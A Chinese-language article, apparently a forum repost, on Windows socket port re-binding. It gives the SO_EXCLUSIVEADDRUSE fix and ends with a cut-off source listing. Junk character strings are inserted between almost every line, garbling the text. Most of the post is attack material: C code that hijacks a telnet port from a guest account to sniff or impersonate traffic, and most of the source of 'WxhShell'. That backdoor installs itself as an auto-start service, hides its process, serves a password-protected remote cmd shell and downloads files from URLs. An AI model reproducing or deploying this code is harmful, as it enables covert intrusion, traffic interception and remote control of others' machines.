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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ds9L4zfO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !f^'- AO"pm saddr.sin_family = AF_INET; gPrIu+|F f3u^:6U~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); M*x1{g C/ *'q6#\#. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PIxd'B*MF A,4|UA?- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {vL4:K Ka$YKY, 这意味着什么?意味着可以进行如下的攻击: sMhUVc4 b9(_bsc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DL:wiQ B- `,h pp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vs0T*4C=n ARt+"[.*p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j(*ZPo>oD Gj%cU@2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2V*<HlqOif RIDzNdM>U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }h PFd <E`Ygac 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,( ?q I2R"
Y< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G?t<4MTv |_7AN!7j #include ;>z.wol #include x?unE@?\S #include 5[py{Gq #include Qq. ht DWORD WINAPI ClientThread(LPVOID lpParam); xpb,Nzwt^ int main() NLz[F`I { E>}(r%B WORD wVersionRequested; +oT/ v3, DWORD ret; `qnNEJL, WSADATA wsaData; YgN:$+g5 BOOL val; w>]?gN?8Fe SOCKADDR_IN saddr; eA$wJ$* SOCKADDR_IN scaddr; PDEeb.(. int err; !&n'1gJ)kd SOCKET s; oJLpFL SOCKET sc; { vf"`#Q9 int caddsize; `~hB-Z5dI HANDLE mt; /7)l 22< DWORD tid; L/U^1=Wi*O wVersionRequested = MAKEWORD( 2, 2 ); \:To>A32 err = WSAStartup( wVersionRequested, &wsaData ); v9<'nU WVR if ( err != 0 ) { 0E5"}8 printf("error!WSAStartup failed!\n"); 1zDat@<H return -1; qkEre } M!9gOAQP saddr.sin_family = AF_INET; !FqJP
OGm /g_cz&luR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M'n2 j 122%KS saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b3Uw"{p saddr.sin_port = htons(23); fXV+aZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 41S.&-u { {7%W/C#A printf("error!socket failed!\n"); _Prh&Q1zs return -1; srh>"
2." } nI_43rG:Uf val = TRUE; Ob+Rnfx37 //SO_REUSEADDR选项就是可以实现端口重绑定的 M$9?{8m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m~#f L { IsC`r7 printf("error!setsockopt failed!\n"); +p%!G1Yz return -1; ;_HG
5}i } ZJ$nHS?ra //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R8*z}xy{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "
aEk#W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <:,m ^{IF2_h" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3($ cBC { $E j;CN59 ret=GetLastError(); .]0u#fz0y printf("error!bind failed!\n"); AO R{Xm return -1; iE~][_%U } jc4#k+sb listen(s,2);
MYD`P2F while(1) v*.[O/,EBR { JjXuy7XQ caddsize = sizeof(scaddr); 3u)NkS= //接受连接请求 e#+u8 LrN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '\MYC8" if(sc!=INVALID_SOCKET) sUCI+)cM3 { >;$C@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )tq&l>0h if(mt==NULL) _XO3ml\x@ { Mj
guH5Uy printf("Thread Creat Failed!\n"); JBYmy_Su break; %z0;77[1 I } )\qA[rTG } C
V{kP8# CloseHandle(mt); . paA0j } -&Cb^$.-x closesocket(s); ","O8'$OC WSACleanup(); :?2@qWaL return 0; YT*_
vmJV } [eb?Fd~WB] DWORD WINAPI ClientThread(LPVOID lpParam) s#8mD!T| { J|uxn<E<> SOCKET ss = (SOCKET)lpParam; 5a`f%
h% SOCKET sc; hnk,U:7} unsigned char buf[4096]; LXZ0up-B- SOCKADDR_IN saddr; _6tir'z long num; o4%H/|Oq. DWORD val; /e2CB "c DWORD ret; ]tjQy1M //如果是隐藏端口应用的话,可以在此处加一些判断 B#|c$s{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F1Jd-3ei saddr.sin_family = AF_INET; wNk 0F7Ck saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9_h
V1: saddr.sin_port = htons(23); _V.MmA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IzuYkl} { 8(6(,WwP} printf("error!socket failed!\n"); a7]wPXKq return -1; nRE(RbRe } .qN|.:6a val = 100; s9Tp(Yr,k if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ""; Bq*Y# { U9*uXD1\ ret = GetLastError(); .~nk'm return -1; _5t~g_(1OK } z(8:7 G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vuNt+ { !R 2;]d* ret = GetLastError(); bPlqS+ai_ return -1; !nBE[& } i-<1M|f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I)JqaM { dHzQAqb8J printf("error!socket connect failed!\n"); pZ@)9c closesocket(sc); tFi'RRZ closesocket(ss); v_ U$jjO1 return -1; >-%}'iz+ } -/ltnx)j while(1) KF%tF4^+| { 6SJryf~w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NMM$
m!zg //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,:E*Mw: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 __3s3YG num = recv(ss,buf,4096,0); NrVE[Z# if(num>0) )'+
tb\g send(sc,buf,num,0); T"b'T>Y else if(num==0) M MQ^&!H break; BidTrO num = recv(sc,buf,4096,0); y^*o%2/ if(num>0) mBrH`! send(ss,buf,num,0); @U 6jd4?) else if(num==0) +sW;p?K7eO break; 5Al1u|;HB } N4xCZb closesocket(ss); 1@i|[dq closesocket(sc); H;~Lv;,g, return 0 ; |#Gug(' } F=B[%4q`% pGsk[. k6}M7&nY ========================================================== *K57($F mRNA ,* 下边附上一个代码,,WXhSHELL mr6 ~8I _, ki/7{ ========================================================== xsO
"H8 >,9ah"K_x #include "stdafx.h" wDv G5 BQ;F`!Hx? #include <stdio.h> >, 9R :X( #include <string.h> tQ@%3` #include <windows.h> F%]ZyO9 #include <winsock2.h> <TDp8t9bU #include <winsvc.h> -5 Q
gJ #include <urlmon.h> <\fB+ AZ ,\Q^[e!m~ #pragma comment (lib, "Ws2_32.lib") oOAn 5t@ #pragma comment (lib, "urlmon.lib") l9P=1TL p9(|p Z #define MAX_USER 100 // 最大客户端连接数 R ^ln-H; #define BUF_SOCK 200 // sock buffer EL$"/ptE #define KEY_BUFF 255 // 输入 buffer \Zgc
[F %$*WdK# #define REBOOT 0 // 重启 }3TTtd7 #define SHUTDOWN 1 // 关机 rP7[{'%r }#<mK3MBe #define DEF_PORT 5000 // 监听端口 nj(\+l5 C5F=J8pY #define REG_LEN 16 // 注册表键长度 %aB
RL6 #define SVC_LEN 80 // NT服务名长度 jY +u OH @~+W // 从dll定义API QyEGK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8k0f&Cak= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QF74' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S=@bb$4-T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7;i [ }<9IH%sgF // wxhshell配置信息 ] oMtqkiR struct WSCFG { eJvNUBDSH int ws_port; // 监听端口 n$u@v(I char ws_passstr[REG_LEN]; // 口令 Bs!F |x( int ws_autoins; // 安装标记, 1=yes 0=no mWP1mc:M( char ws_regname[REG_LEN]; // 注册表键名 uE]Z,`e char ws_svcname[REG_LEN]; // 服务名 <Rb[0E$ char ws_svcdisp[SVC_LEN]; // 服务显示名 &<>NP?j} char ws_svcdesc[SVC_LEN]; // 服务描述信息 XZ&cTjNB& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (X3}&aLF int ws_downexe; // 下载执行标记, 1=yes 0=no 9 \lSN5W char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ? koIZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k0(_0o N+9W2n }; ?s-Z3{k 5{Oq* | // default Wxhshell configuration _pN:p7l( struct WSCFG wscfg={DEF_PORT, *I6W6y;E= "xuhuanlingzhe", wxc24y 1, /n3Qcht "Wxhshell", u= =`]\_@ "Wxhshell", A0l-H/l7 "WxhShell Service", ]F#}8$ "Wrsky Windows CmdShell Service", 1KMSBLx "Please Input Your Password: ", ?heg_~P 1, !XqU'xxC " http://www.wrsky.com/wxhshell.exe", b uu /Nz$ "Wxhshell.exe" ,vh$G 7D }; _Oc(K
"v _wp_y-" // 消息定义模块 \5pBK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TZ+- >CG char *msg_ws_prompt="\n\r? for help\n\r#>"; =H_vRd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (~
`?_ char *msg_ws_ext="\n\rExit."; Jmml2?V-c char *msg_ws_end="\n\rQuit."; l8~s#:v6X char *msg_ws_boot="\n\rReboot..."; Q nTKo&|9 char *msg_ws_poff="\n\rShutdown..."; 4Nl3"@<$ char *msg_ws_down="\n\rSave to "; "sU jJ| *Tum(wWZ char *msg_ws_err="\n\rErr!"; wsEOcaie char *msg_ws_ok="\n\rOK!"; Tv6HPD$[ oWb\T
2!m char ExeFile[MAX_PATH]; 2/>u8j int nUser = 0; F.cKg~E|e HANDLE handles[MAX_USER]; WdZ_^ int OsIsNt; ]k#iA9I hQ@E2 Xsv SERVICE_STATUS serviceStatus; .gclE~h. SERVICE_STATUS_HANDLE hServiceStatusHandle; gski:C
h3rVa6cxM // 函数声明 QF4)@ r{2x int Install(void); 9q ]n&5 int Uninstall(void); ?P%-p int DownloadFile(char *sURL, SOCKET wsh); %
4Gt^:J" int Boot(int flag); d^+0=_[PmK void HideProc(void); $z[@DB[ int GetOsVer(void); ^5n#hSqZ=M int Wxhshell(SOCKET wsl); %:!ILN void TalkWithClient(void *cs); <;lwvO int CmdShell(SOCKET sock); ey@{Ng# int StartFromService(void); TFG0~"4Cz int StartWxhshell(LPSTR lpCmdLine); `V2doV) HJ+Q7) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v83@J~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ' +f(9/ X6Q\NJ"B // 数据结构和表定义 H{4_,2h=m SERVICE_TABLE_ENTRY DispatchTable[] = QJF_ " { "DC L
Z {wscfg.ws_svcname, NTServiceMain}, ,v#O{ma {NULL, NULL} }B ?_>0 }; M)"'Q6ck= `rest_vu // 自我安装 u\q(v D. int Install(void) O~#A )d6 { 'mTQ=1 char svExeFile[MAX_PATH]; _ -|+k HKEY key; vyvb-oz;u strcpy(svExeFile,ExeFile); L]*5cH G$[Hm\V // 如果是win9x系统,修改注册表设为自启动 )8`i%2i= if(!OsIsNt) { -)Hc^'. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {_R{gpj' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ei4Iv#Oi` RegCloseKey(key); ( _3QZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UB,0c) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `b KJ RegCloseKey(key); KU^|T2s% return 0; :{s0tw>Z } yioX^`Fc(~ } )4R[C={ } *M-'R*Np else { D]twid~OS K]&i9`>N // 如果是NT以上系统,安装为系统服务 }Ud'j'QMy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u&Yd+'); if (schSCManager!=0) "$.B@[iY@ { [0!*<%BgK' SC_HANDLE schService = CreateService @:}l a ( ?=,7'@e schSCManager, 3Mq%3jX wscfg.ws_svcname, +45.fo wscfg.ws_svcdisp, '?Xf(6o1 SERVICE_ALL_ACCESS, ^fj30gw7\5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A_Y5{6@ SERVICE_AUTO_START, XzBlT( `w SERVICE_ERROR_NORMAL, #sE:xIR svExeFile, #y
f NULL, 84<zTmm NULL, aA]wFZ NULL, :W#?U yo NULL, (QS 0 NULL {s0!hp ); a1shP};pK if (schService!=0) b%].D(qBy { 7ufTmz#j< CloseServiceHandle(schService); `SA1V),~ CloseServiceHandle(schSCManager); 3X#Cep20a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >FS}{O2c strcat(svExeFile,wscfg.ws_svcname); Rh%A^j@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L]q%;u]8! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0jt@|3 RegCloseKey(key); dKY#Tl] return 0; ?e\u_3-9 } A{Qo}F<* } OQVo4yl" CloseServiceHandle(schSCManager); :<v@xOzxx } uR.`8s| } .O SQ8W} 81!gp7c return 1; t$b5,"G1 } <Y"HCa{ U,8mYv2| // 自我卸载 :1;"{=Yx} int Uninstall(void) 6]mAtA`Y { |Yv,zEY) HKEY key; 1.5R`vKn] :jJ0 +Q if(!OsIsNt) { ,u9>c*Ss\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { })j N
8px RegDeleteValue(key,wscfg.ws_regname); @ V_i%=go RegCloseKey(key); |d,bo/: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n(.L=VuXn RegDeleteValue(key,wscfg.ws_regname); \0Ba? RegCloseKey(key); [<sN " return 0; fNV-_^,R9 } *;l[| } 7=s7dYlu } -"I9` else { vGOO"r(xL CSH*^nk':O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !b$]D?=} if (schSCManager!=0) I|Mw*2U { qfRrX" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .*Z#;3 if (schService!=0) .EC~o { :m36{# if(DeleteService(schService)!=0) { !$#5E1:\ CloseServiceHandle(schService); >>cL"m CloseServiceHandle(schSCManager); n] t3d return 0; LP/SblE } a*t>Ks'C CloseServiceHandle(schService); fu?u~QZ8 } ?J-D6; CloseServiceHandle(schSCManager); \YHl( } AW'$5NF> } Gzwb<e
y .*Bd'\:F/q return 1; ~%h&ELSw } >U(E
\`9D !%B-y9\ // 从指定url下载文件 oi8M6l int DownloadFile(char *sURL, SOCKET wsh) ge1U1o { (hh^? HRESULT hr; 7`e<H 8g char seps[]= "/"; {R/e1-; char *token; ~S$ex,~ char *file; Ec^2tx"= char myURL[MAX_PATH]; ["e;8H[K)% char myFILE[MAX_PATH]; umt`0m. : ,(]k)ym/ strcpy(myURL,sURL); .KtK<Ps[S token=strtok(myURL,seps); wL}X~Xa3i while(token!=NULL) ~qXwQ@ { ~6+Um_A_L file=token; w ~^{V4V token=strtok(NULL,seps); orbz`IQc } JSx[V<7m 7PwH&rI GetCurrentDirectory(MAX_PATH,myFILE); D[6wMep^n strcat(myFILE, "\\"); *1T~ruNqa strcat(myFILE, file); )<Mo. send(wsh,myFILE,strlen(myFILE),0); r%>EiHpCU send(wsh,"...",3,0); vu&ny&=` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [^XD@ if(hr==S_OK) c`N_MP return 0; G_5w5dbG else +{}p(9w@ return 1; [&l+V e( 4q(,uk&R[ } @Y<fj^]k }:[MSUm5 // 系统电源模块 O&}R int Boot(int flag) {Z1-B60P { %d<UMbS^ HANDLE hToken; LR'~:46#u TOKEN_PRIVILEGES tkp; ,Ek6X)|@ 19RbIG/X if(OsIsNt) { b@sq}8YD|z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (`u+(M!^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B9, tkp.PrivilegeCount = 1; kBY#=e). tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |tz{Es<`B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _X@ Q`d if(flag==REBOOT) { 88 ca if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L(X}37 return 0; &B++ "f } P ?96; else { 7HL23Vrk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L X #. return 0; 9*Fc+/ } Y&y<WN}Q } F!2VTPm9z else { YG)7+94 if(flag==REBOOT) { |!1iLWQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \`%#SmQF return 0; F5M{`:/ } r 5+ MjR else { %o`Cp64`Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?,C'\8' return 0; =#wE*6T9 } T+FlN-iy) } dEo r+5} V#c=O} return 1; 5bsv05=e } i98PlAq)B Ct:c%D(L // win9x进程隐藏模块 Tz7 R:S. void HideProc(void) 1{
ehnH { q!q=axfMD w( ic$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w;J#+ik if ( hKernel != NULL ) yA`,ns&n { KqNsCT+j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f917F.1I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %WYveY FreeLibrary(hKernel); A-eCc#I } =,&{ &m) e'=#G$S?g return; W#wC } @v.?z2h Bu{%mm( // 获取操作系统版本 RhE|0N= int GetOsVer(void) u
N_< G { d ;,C[& OSVERSIONINFO winfo; #jg3Ku;Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -cUw} GetVersionEx(&winfo); t 1G2A` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #rp)Gc return 1; 2#'"<n,G else y@Td]6|f return 0; 6']WOM# } qVds
2 )Rj?\ZUR // 客户端句柄模块 cO-^#di int Wxhshell(SOCKET wsl) 0_t9;;y : { aDE}'d1qo SOCKET wsh; ^HHT>K-m struct sockaddr_in client; 8P2_/)| DWORD myID; P{,=a]x,mz W=,]#Z+M; while(nUser<MAX_USER) 'ztY>KV j { `|:` yl int nSize=sizeof(client); uFOYyrESc wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ={{q_G\WD if(wsh==INVALID_SOCKET) return 1; 4=|oOIhgb yW i?2
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tb]
h<S if(handles[nUser]==0) \x"BgLSE closesocket(wsh); <V#]3$(S else #O7phjzgD nUser++; @j%7tfW } xI~ c~KC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"b`3 1#2L9Bi return 0; n5*m x7 } B5]nP .R $- GwNG // 关闭 socket mf2Qu void CloseIt(SOCKET wsh) cn'rBY { XZ/cREz^s closesocket(wsh); GEki34
n0 nUser--; i\RB KF ExitThread(0); Ul:M=8nE% } &VVvZ@X; [kI[qByf
// 客户端请求句柄 ,4(m.P10 void TalkWithClient(void *cs) /qd~|[Kx: { 5"Y:^_8 hP
jL SOCKET wsh=(SOCKET)cs; ~e+pa|lO char pwd[SVC_LEN]; EsLtC5] char cmd[KEY_BUFF]; VJtRL') char chr[1]; <"LA70Hkk int i,j; ` )~CT N2C f( while (nUser < MAX_USER) { !Eb!y`jK XZ|\|(6Cc if(wscfg.ws_passstr) { {.r9l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8!lSRq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0|(6q=QK //ZeroMemory(pwd,KEY_BUFF); _No<fz8 i=0; 0Rh*SoYrC while(i<SVC_LEN) { z@xkE ,j> E|=]k // 设置超时 i6E~]&~.v fd_set FdRead;
;.~D! struct timeval TimeOut; [Y6ZcO/-i FD_ZERO(&FdRead); gy/bA FD_SET(wsh,&FdRead); IZZ
$p{ TimeOut.tv_sec=8; kyUG+M TimeOut.tv_usec=0; 7nbaR~ZV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e:6mz\J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); szy2"~hm Kp/l2?J"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {JW_ZJx pwd =chr[0]; 9NqZ&S if(chr[0]==0xd || chr[0]==0xa) { 4aG}ex-s| pwd=0; w-``kID break; RIF*9= ,S } L>,xG.oG i++; M =GF@C;b } (}CA?/ 3:gF4(. // 如果是非法用户,关闭 socket 0y/P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iM{cr&0 } <;NxmO<%\ :Y&h'FGZm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F=$U.K~1? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <J!?eH9f r6}-EYq= while(1) { |TuFx=~5v .WW|v ZeroMemory(cmd,KEY_BUFF); iMp_1EXe
C0j`H( // 自动支持客户端 telnet标准 ^L's45&_ j=0; \-:4TuU while(j<KEY_BUFF) { Z]^O=kX7k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %eE 6\f%g cmd[j]=chr[0]; t` zPx#]) if(chr[0]==0xa || chr[0]==0xd) { q_0,KOGW cmd[j]=0; a8Z{-=) break; WD#7Q&T(; } ks<+gL{K|i j++; ?/Z5%?6 } (APGz,^9# 6Xt c3 // 下载文件 $`Aps7A if(strstr(cmd,"http://")) { 2QV|NQSl send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iyt.`z if(DownloadFile(cmd,wsh)) !Bb^M3iA send(wsh,msg_ws_err,strlen(msg_ws_err),0); ngH_p> else S{qsq\X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r1|;V~a$~ } bcFZ ~B else { s!/Q>A s C?-L switch(cmd[0]) { \v([,tiW% `HsI)RmX // 帮助 f.Ms3)) case '?': { ')j@OO3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )dI `yf break; Y/G~P,9 } n7'X.=o7 // 安装 Na_O:\x# case 'i': { ^9oJuT!tu if(Install()) }<G#bh6;Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Yh%.#\i% else k!sk\~>YO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %ZJ;>a# break; $U}GX'1LZ } bF? { // 卸载 O.OSLezTQ case 'r': { &e1(| qax if(Uninstall()) Z=>#|pW,) send(wsh,msg_ws_err,strlen(msg_ws_err),0); EB[B0e7} else lag%}^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 47
9yG/+\ break; g2GHsVS } c=~FXV! // 显示 wxhshell 所在路径 Vw b6QIs case 'p': { /}RW~ax char svExeFile[MAX_PATH]; $rmfE strcpy(svExeFile,"\n\r"); @#&y strcat(svExeFile,ExeFile); mdukl!_x send(wsh,svExeFile,strlen(svExeFile),0); f#zm}+,` break; DbvKpM H } ^EmI;ks // 重启 ]"4\]_?r case 'b': { x)^t5"F send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f hr
QJ if(Boot(REBOOT)) <>^otb,e$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); lAx^!#~\ else { +(J{~A~ closesocket(wsh); SHP_ ExitThread(0); ER*Et+> } `'M}.q,k~ break; wx)Yl1C } c*`=o(S // 关机 zsha/:b case 'd': { p>GxSE) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =aE!y5 if(Boot(SHUTDOWN)) {/SLDyf%Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); e khx?rz else { X\'+);Z closesocket(wsh); Kq2,J&Ca3 ExitThread(0); ^%k[YJtB=i } KcNh3CR break; V<G=pPC'H } e-e*% // 获取shell k\wI^D case 's': { @EzO
bE{ CmdShell(wsh); 2/V9Or52 closesocket(wsh); ![4<6/2gy ExitThread(0); )
v^;"q" break; 8.4+4Vxh } \*k}RKDwT // 退出 eNw9"X}g case 'x': { @XFy^? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r__Y{&IO CloseIt(wsh); =dTsGNz break; b(|1DE0Cv } mu}T,+9\ // 离开 t^-yK;`?q: case 'q': { JVeb$_0k send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ju.B!)uS# closesocket(wsh); WaYT7 : WSACleanup(); +Q6}kbDI exit(1); XhEd9># break; ;;g'C*_ } ([a[fi } f|X./J4Bl } ?oO<PR}y n; fUwon // 提示信息 9>na3ISh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Pm
yFJH } \5s#9 } KZ;Q7 1 |VRzIA4M\ return; *Af:^>mh } [exIK TwZASn]o // shell模块句柄 Z:(yX0U,[ int CmdShell(SOCKET sock) m}dO\; { !R.*Vn[
STARTUPINFO si; V"{+cPBO) ZeroMemory(&si,sizeof(si)); uNSbAw3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '8b/TL si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4PzCm k PROCESS_INFORMATION ProcessInfo; DoA+Bwq@ char cmdline[]="cmd"; 9dFSppM CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z U^dLN-N return 0; KixS)sG } r|>a;nY YYc.e T< // 自身启动模式 b;XUv4~V int StartFromService(void) *.]M1 { b7_uT`< typedef struct ToWtltCD { $<(FZb= DWORD ExitStatus; Y}pCBw DWORD PebBaseAddress; Q(\U'|%J DWORD AffinityMask; 8NRc+@f|m DWORD BasePriority; <p74U( V ULONG UniqueProcessId; !K~:crUV|S ULONG InheritedFromUniqueProcessId; tuF
